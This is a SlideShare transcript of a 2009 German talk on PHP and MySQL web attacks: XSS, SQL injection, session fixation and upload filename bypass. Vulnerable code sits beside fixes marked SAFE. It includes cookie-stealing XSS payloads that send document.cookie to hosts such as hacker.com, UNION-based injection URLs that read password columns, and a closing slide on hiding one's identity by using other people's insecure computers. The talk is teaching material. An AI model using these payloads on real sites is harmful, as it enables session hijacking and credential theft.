Webhacks am Beispiel PHP + MySQL

  • 80,781 views
Uploaded on

Paris Hilton Bug …

Paris Hilton Bug
XSS
SQL Injections
Session Stealing
File Inclusion
Technikausblick
Literatur

More in: Education
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Be the first to comment
No Downloads

Views

Total Views
80,781
On Slideshare
0
From Embeds
0
Number of Embeds
0

Actions

Shares
Downloads
18
Comments
0
Likes
2

Embeds 0

No embeds

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
    No notes for slide

Transcript

  • 1. > > webHacks am Beispiel PHP & MySQL Referent: Torben Brodt Datum: 26.03.2009 Veranstalter: plista.com GmbH
  • 2. webHacks > Inhalt 5. Session Stealing 6. File Inclusion 7. Technikausblick 8. Literatur Referent: Torben Brodt Datum: 26.03.2009 Veranstalter: plista.com GmbH
  • 9. webHacks > Übersicht
    • BufferOverflows und andere Schwachstellen, wie man sie von Desktopapplikationen kennt sind im Web kaum kritisch.
    • 10. Aktuelle Lücken in Websoftware, siehe Graph [1]
    • 11. Oft in Kombination genutzt
    1 /8
  • 12. webHacks > Paris Hilton Bug
    • Paris' Account wurde gehackt, weil sie bei der "Passwort-vergessen-Frage" die Frage nach dem Namen ihres Hundes wählte.
    • 13. Dieser lässt sich mit einfacher
    • 14. Google Recherche herausfinden
    • 15. Mangelndes Sicherheitsbewusstsein
    • 16. gibt es sowohl auf Konsumenten
    • 17. als auch auf Endkunden-Seite
    • 18. Beispiele u.a. Paymentanbieter
    2 /8
  • 19. webHacks > XSS (1)
    • XSS = ”Cross Site Scripting”
    • 20. Angreifer manipuliert Webseite mit Client-Script (JS,...)
    • 21. z.B. durch search.php?q=<img src=”paris...” />
    • 22. Nutzen? Session ID kann ausgelesen werden – dadurch kann Person2 die Identität annehmen
    • 23. Beispiel
    3 /8
      <script>document.write(&quot;<img src=http://hack.com/” + document.cookie + “>”)</script>
  • 24. webHacks > XSS (2)
    • Den Login einer anderen Seite erfahren
    • 25. Dort kann davon ausgegangen werden dass der benutzer noch angemeldet ist
    • 26. Beispiel: studivz gruppenseite verlinkt auf eigene Seite – und wird von dort zurück geleitet
    • 27. Beispiel
    3 /8
      <script>document.location='http://studivz.net/?supersearch=<script>document. write(&quot;<img src=http://hacker.com/&quot; + document.cookie + &quot;>&quot;)</script>'</script>
  • 28. webHacks > SQL Injections (1)
    • Geschützte Informationen auslesen
    • 29. Beispiel: Produktkatalog
    4 /8 $res = mysql_query('SELECT titel FROM category WHERE name = ”'.$_GET['q'].'”'); while($row = mysql_fetch_array($res)) { printf(&quot;<li>%s</li>&quot;, $row['titel']); } katalog.php?q=” UNION SELECT password AS titel FROM users WHERE ”a” = ”a $res = mysql_query(...WHERE name = ”'.mysql_real_escape_string($_GET['q']).'”'); while($row = mysql_fetch_array($res)) { printf(&quot;<li>%s</li>&quot;, $row['titel']); } SAFE
  • 30. webHacks > SQL Injections (2)
    • Geschützte Informationen auslesen
    • 31. Beispiel: Produktkatalog (mit Integer)
    4 /8 $res = mysql_query('SELECT titel FROM category WHERE id = '.mysql_real_escape_string($_GET['q'])); while($row = mysql_fetch_array($res)) { printf(&quot;<li>%s</li>&quot;, $row['titel']); } katalog.php?q=0 UNION SELECT password AS titel FROM users $res = mysql_query('SELECT titel FROM category WHERE id = '.intval($_GET['q'])); SAFE
  • 32. webHacks > SQL Injections (3)
    • Beispiel: Newsletter abbestellen
    • 33. Wäre die 10 eine austauschbare Variable könnte man die Aktion durch ” 1 OR 1 ” für alle übernehmen
    4 /8 mysql_query('UPDATE user SET newsletter = '.$_REQUEST['news'].' WHERE userid = 10'); newsletter.php?news=0,pwd=(SELECT pwd FROM user WHERE userid=1)
  • 34. webHacks > Session Stealing
    • Szenario:
      • Angreifer ruft Anwendung als anonymer Nutzer und erhält Session 123.
      • 35. Angreifer gestaltet damit speziellen Link. Diesen lässt er dem Opfer zukommen.
      • 36. Opfer verwendet Link, um zur Anwendung zu gelangen. Meldet sich an.
      • 37. Anwendung übernimmt Sessionkennung und ordnet dieser den korrekt Login zu
      • 38. Auch der Angreifer kann diese Session nutzen, da HTTP zustandslos
    • Demo: Session VS Referer
    5 /8
  • 39. webHacks > File Inclusion
    • Dateiname kann nullterminiert werden
    • 40. Dadurch wird der Regex passiert, aber der Dateiname im Filesystem wird abgeschnitten
    6 /8 if(preg_match('/.(png|gif|jpg)$/', $_FILES['img']['name'])) { move_uploaded_file($_FILES['img']['tmp_name'], 'upload/'.$_FILES['img']['name']); echo &quot;upload success&quot;; } … POST Request Manipulation Content-Disposition: form-data; name=&quot;img&quot;; filename=&quot;hack.php.png&quot; Content-Type: image/jpeg Content-Transfer-Encoding: binary
  • 41. webHacks > Technikausblick
    • Phishing? E-Mail Header Manipulation?
    • 42. Vorsicht durch Versionsunterdrückung.
    • 43. Wie Anonym bleiben?
      • google link einbauen
      • 44. onion ring network (tor)
      • 45. remote login (vpn)
      • 46. Andere unsichere Rechner benutzen
      • --- THE END ---
      • 47. Diskussion + Fragen + Erfahrungen
    7 /8
  • 48. webHacks > Literatur 8 /8
    • [1] http://www.easy-coding.de/vortrag-sicherheitsluecken-in-websoftware-t4236.html
    • 49. [2] http://www.easy-coding.de/php-und-sicherheit-teil-1-sessions-t6000.html
    • 50. [3] http://www.erich-kachel.de/